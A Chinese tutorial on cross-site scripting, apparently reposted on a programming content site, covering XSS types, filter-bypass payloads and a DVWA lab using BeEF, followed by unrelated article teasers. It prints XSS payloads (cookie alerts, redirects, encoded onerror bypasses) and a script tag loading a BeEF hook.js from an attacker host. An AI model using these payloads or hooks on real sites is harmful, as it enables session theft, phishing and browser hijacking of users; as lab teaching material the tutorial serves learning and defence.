安全攻击 --- XSS攻击

news2025/4/16 10:44:49

XSS跨站脚本攻击

(1)简介

  • OWASP TOP 10 之一,XSS被称为跨站脚本攻击(Cross-Site-Scripting)
  • 主要基于JavaScript(JS)完成攻击行为
  • XSS通过精心构造JS代码注入到网页中,并由浏览器解释运行这段代码,以达到恶意攻击的效果。用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器解析这段XSS代码,即用户被攻击了
  • 收集用于信息收入的地方,都有可能被注入XSS代码,只要没对用户输入存在严格的过滤,都可能被XSS

(2)危害

  1. 盗取各类账号,如:机器登录账号、用户网银账号、各类管理员账号
  2. 控制企业数据,如:读取、篡改、添加企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马,更多人受害
  7. 控制受害者机器向其他机器发起攻击(卖肉机)

(3)分类

<1> 反射型

  • 非持久跨站脚本攻击
  • 攻击是一次性的,仅对当次访问页面产生影响

攻击流程:

<2> 存储型

  • 持久性跨站点脚本
  • 攻击者的数据存储在服务端,攻击行为伴随攻击数据一直存在

攻击流程:

<3> DOM型

  • 既有可能是反射型,也有可能是存储型
  • 基于文档对象模型(Document Object Model,DOM)的一种漏洞

(4)产生原因

  • web应用对用户输入过滤不严谨
  • 攻击者写入恶意的脚本代码到网页中
  • 用户访问含恶意代码的网页
  • 恶意脚本被浏览器解析执行导致用户被攻击

(5)构造XSS脚本

<1> 基础

常用html标签

  • <iframe>:创建包含另一个文档的内联框架
  • <textarea>:定义多行文本输入控件
  • <img>:网页中嵌入图像
  • <script>:定义客户端脚本,比如JavaScript

script标签即可包含脚本语句,也可通过src属性指向外部脚本文件

  • type属性规定脚本类型 ---(必需)
  • JavaScript常见应用是图像操作、表单验证以及动态内容更新

常用js脚本

  • alert:用于显示带有一条指定消息和一个确认按钮的警告框
  • window.location:获取当前页面地址(URL),并将浏览器重定向到新页面
  • location.href:返回当前显示文档的完整URL
  • onload:一张页面或图像完成加载
  • onsubmit:一个按钮被点击
  • onerror:加载文档或图像发生错误

<2> 构造脚本方式

  • 弹窗警告

例1:显示弹窗 -- <script>alert("欢迎12345")</script>

例2:获取用户cookie -- <script>alert(document.cookie)</script>


  • 页面嵌套

例:<iframe style="overflow:hidden;width:520px;height:400px;positon:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;" src = "http://127.0.0.1:/dvwa-master/"></iframe>


  • 页面重定向

例1:<script>window.location="https://www.douyin.com/"</script>


例2:<script>location.href="https://www.bilibili.com/"</script>


  • 弹窗警告并且重定向

例:<script>alert("请移步到我们新站点");location.href="http://www.baidu.com/"</script>


  • 图片标签利用(图像标签有一定隐蔽性)

:<img src="#" οnerrοr="欢迎来钓鱼">

  • 访问恶意网站代码(网站种马)

(诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后通过BeEF建立恶意站点)

  • 绕开过滤脚本

[1] 大小写
:<SCript>alert('xss')</ScrIpt>

[2] 字符编码采用URL、base64、html等编码

例:采用html实体编码

<img src=x οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
等同于:<img src=x onerrer=”javascript:alert('XSS')”>

  • 存储型XSS演示


(每个访问页面的人都会弹出这个对话框)

(6)自动XSS攻击详解

<1> BeEF

[1] 简介:Browser Exploation Framework(BeEF)是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。BeEF是基于Ruby编写的,支持图形化界面,较为简单

http://beefproject.com/

[2] 功能

1)信息收集

  • 网络发现
  • 主机信息
  • cookie获取
  • 会话劫持
  • 键盘记录
  • 插件信息

2)持久化控制

  • 确认弹框
  • 小窗口
  • 中间人

3)社会工程

  • 点击劫持
  • 弹窗警告
  • 虚假页面
  • 钓鱼页面

4)渗透攻击

  • 内网渗透
  • Metasploit
  • CSRF攻击
  • DDOS攻击

<2> 利用beef进行XSS自动攻击

1、打开beef

2、web界面打开并登入

3、在DVWA中植入XSS脚本
DVWA清空缓存,植入<script src="http://192.168.174.131:3000/hook.js"></script>

4、其他机器访问被攻击机的DVWA页面

127.0.0.1是其他机器,192.168.174.1是被攻击机(本机访问,肉机上线)

5、社工攻击范例

命令的颜色区别:

  • 绿色对目标主机生效且不可见(不会被发现)
  • 橙色对目标主机生效但可能可见(可能被发现)
  • 灰色对目标主机未必生效(可验证)
  • 红色对目标主机不生效

附:社工攻击

1、pretty theft攻击

2、中招页面

3、beef查看搜集信息


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/784951.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

生态合作丨MemFireDB通过麒麟软件NeoCertify认证

近日&#xff0c;敏博科技“MemFireDB分布式关系数据库系统V2.8”与麒麟软件“银河麒麟高级服务器操作系统V10” 完成兼容性测试&#xff0c;获得麒麟软件 NeoCertify 认证证书。测试结果显示&#xff0c;MemFireDB数据库在国产操作系统上运行稳定&#xff0c;产品已经达到通用…

曲线拟合曲面拟合(MATLAB拟合工具箱)前馈量计算(压力闭环控制应用)

利用PLC进行压力闭环控制的项目背景介绍请查看下面文章链接,这里不再赘述。 信捷PLC压力闭环控制应用(C语言完整PD、PID源代码)_RXXW_Dor的博客-CSDN博客闭环控制的系列文章,可以查看PID专栏的的系列文章,链接如下:张力控制之速度闭环(速度前馈量计算)_RXXW_Dor的博客-CSD…

Windows下Python调用海康SDK实时显示网络摄像头

参考资源&#xff1a; 1.《Windows下Python调用海康SDK实时显示网络摄像头》 2.《HikVision SDK: C 至 Python》 3.《linux下Python调用海康SDK实时显示网络摄像头》 4.《python调用海康sdk操作热成像设备获取对应点温度》 5.《Windows下Python调用海康SDK实时视频流获取》 6.《…

基于VUE3+Layui从头搭建通用后台管理系统(前端篇)六:后台主页功能实现下

一、本章内容 接上一章,继续实现后端主页内容,主要实现工具栏对应相关内容的实现,包括系统消息、系统公告、全屏切换、语言切换、主题切换等。 1. 详细课程地址: 待发布 2. 源码下载地址: 待发布 二、界面预览 三、开发视频 基于VUE3+Layui从头搭建通用后台管理系统合集…

(五)RabbitMQ-进阶 死信队列、延迟队列、防丢失机制

Lison <dreamlison163.com>, v1.0.0, 2023.06.23 RabbitMQ-进阶 死信队列、延迟队列、防丢失机制 文章目录 RabbitMQ-进阶 死信队列、延迟队列、防丢失机制死信队列延迟队列延迟队列介绍**延迟队列_死信队列_的实现**延迟队列_插件实现下载插件RabbitMQ 配置类RabbitMQ …

知网的caj格式怎么转化成pdf格式?两个方法简单快捷!

在使用知网等学术资源时&#xff0c;我们常常会遇到CAJ格式的文件&#xff0c;然而CAJ格式并不是常见的文件格式&#xff0c;给我们的查阅和分享带来一些不便。为了更方便地处理这些文件&#xff0c;我们可以将其转换为常见的PDF格式。在本文中&#xff0c;我将为您介绍两种简单…

Docker——网络原理

Docker——网络 一、Docker 网络1&#xff0e;Docker 网络实现原理2&#xff0e;Docker 的网络模式 二、网络模式详解1&#xff0e;host模式2&#xff0e;container模式3&#xff0e;none模式4&#xff0e;bridge模式5&#xff0e;自定义网络 三、资源控制1&#xff0e;CPU 资源…

做测开的3年总结

大家好&#xff0c;我是洋子 进入测试行业刚满3年了&#xff0c;毕业北漂也满3年了&#xff0c;回顾一下这3年的工作和生活 下面文章我将会从QA这个岗位的角度复盘一下这3年来的所思所想&#xff0c;有刚入行的小伙伴可能不太清楚QA&#xff08;Quality Assurance&#xff09…

【RabbitMQ】之高可用集群搭建

目录 一、RabbitMQ 集群原理 1、默认集群原理2、镜像集群原理3、负载均衡方案 二、RabbitMQ 高可用集群搭建 1、RabbitMQ 集群搭建2、配置镜像队列3、HAProxy 环境搭建4、Keepalived 环境搭建 一、RabbitMQ 集群简介 1、默认集群原理 3-1、RabbitMQ 集群简介 单台 RabbitM…

第二招牌——创造企业结构性增长的有效战略工具

在现代商业环境中&#xff0c;企业面临着激烈的竞争和不断变化的市场条件。为了在这个竞争激烈的环境中生存和持续发展&#xff0c;企业必须不断寻求创新和增长的机会。这就需要企业创造结构性增长&#xff0c;不仅仅是依靠传统的业务模式和产品线&#xff0c;还要不断的拓展新…

elasticsearch报错问题

标题1.报错问题 标题2.新建一个配置类 package cn.itcast.hotel.config;import org.apache.http.HttpHost; import org.apache.http.client.config.RequestConfig; import org.elasticsearch.client.RestClient; import org.elasticsearch.client.RestClientBuilder; import o…

SecureCRT如何将复制的内容粘贴到word中仍然保持原有字体颜色

SecureCRT如何将复制的内容粘贴到word中仍然保持原有字体颜色 QQ 109792317 说明&#xff1a;当SecureCRT加载了配色文件后&#xff0c;输出的关键字会被不同颜色高亮显示&#xff0c;但是如果复制粘贴到word中会发现成了纯文本&#xff0c;字体颜色消失了。 如何保留 &#x…

真空压力控制技术在三轴仪土壤制样、力学和渗透性能测试中的应用

摘要&#xff1a;在当前的各种三轴测试仪中&#xff0c;对月壤和月壤模拟物的样品制备和力学性能测试还无法实现样品的真空制备、测试过程中的可变围压控制和样品的超真空度准确控制。为此本文提出了实现这些功能的解决方案&#xff0c;解决方案采用不同气体流量控制技术以及特…

npm i babel-plugin-import -D之后报错

替换modules/.bin/XX文件 1.vue-cli-service #!/bin/sh basedir$(dirname "$(echo "$0" | sed -e s,\\,/,g)")case uname in*CYGWIN*) basedircygpath -w "$basedir";; esacif [ -x "$basedir/node" ]; then"$basedir/node"…

Cilium系列-4-Cilium本地路由

系列文章 Cilium 系列文章 前言 在前文中我们提到, cilium install 默认安装后, Cilium 功能启用和禁用情况如下: datapath mode: tunnel: 因为兼容性原因&#xff0c;Cilium 会默认启用 tunnel&#xff08;基于 vxlan) 的 datapatch 模式&#xff0c;也就是 overlay 网络结…

【主成分分析(PCA)】

主成分分析&#xff08;PCA&#xff09; 摘要 在现代数据科学中&#xff0c;维度灾难常常是数据处理与分析的一大难题。主成分分析&#xff08;PCA&#xff09;是一种广泛使用的数据降维技术&#xff0c;它通过将原始数据转换为新的低维空间&#xff0c;保留最重要的信息&…

【docker】docker部署tomcat

目录 1.1 搜索tomcat镜像1.2 拉取tomcat镜像1.3 创建容器&#xff0c;设置端口映射、目录映射1.4 测试 1.1 搜索tomcat镜像 docker search tomcat1.2 拉取tomcat镜像 docker pull tomcat1.3 创建容器&#xff0c;设置端口映射、目录映射 # 在/root目录下创建tomcat目录用于存…

网络:TCP/IP协议

1. OSI七层参考模型 应用层 表示层 会话层 传输层 网络层 数据链路层 物理层 2. TCP/IP模型 应用层 传输层 网络层 数据链路层 物理层 3. 各链路层对应的名称 应用层对应的是协议数据单元 传输层对应的是数据段 网络层对应的是数据包 链路层对应的是数据帧 物理层对应的是比特…

领域驱动设计(五) - 战术设计 - 【2/3】领域服务、事件、模块

一、领域服务 当操作不适合放在聚合和值对象上时&#xff0c;最好的方式就是使用领域服务。领域服务是一个无状态的操作&#xff0c;一个领域服务有可能操作多个领域对象&#xff0c;它用于实现特定于某个领域的任务。领域服务需要处理逻辑&#xff0c;不建议做为soap接口对外…

C++day7(异常处理机制、Lambda表达式、类型转换、STL标准库模板、迭代器、list)

#include <iostream>using namespace std; template <typename T> class vector { private:T* first;T* last;T* end; public:vector():first(new T),last(first),end(first){cout<<"无参构造"<<endl;}//无参构造vector(T* f):first(f),last…